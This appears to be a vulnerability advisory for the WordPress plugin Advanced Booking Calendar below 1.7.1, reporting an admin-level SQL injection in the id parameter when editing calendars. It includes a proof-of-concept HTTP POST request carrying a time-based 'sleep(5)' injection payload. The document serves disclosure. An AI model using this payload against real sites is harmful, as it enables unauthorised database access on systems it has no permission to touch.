Advanced Booking Calendar < 1.7.1 - Admin+ SQLi

The plugin does not sanitise and escape the id parameter when editing Calendars, which could allow high privilege users such as admin to perform SQL injection attacks

PoC

Edit an existing Seasons & Calendars (/wp-admin/admin.php?page=advanced-booking-calendar-show-seasons-calendars) and tamper the id parameter POST /wp-admin/admin-post.php HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 163 Origin: http://192.168.9.32 Connection: close Cookie: [admin+] Upgrade-Insecure-Requests: 1 action=abc_booking_editCalendar&id;=1+and+sleep(5)&name;=test&maxAvailabilities;=1&maxUnits;=5&pricePreset;=9000&minimumStayPreset;=1&partlyBooked;=1&page;_id=0&infotext;=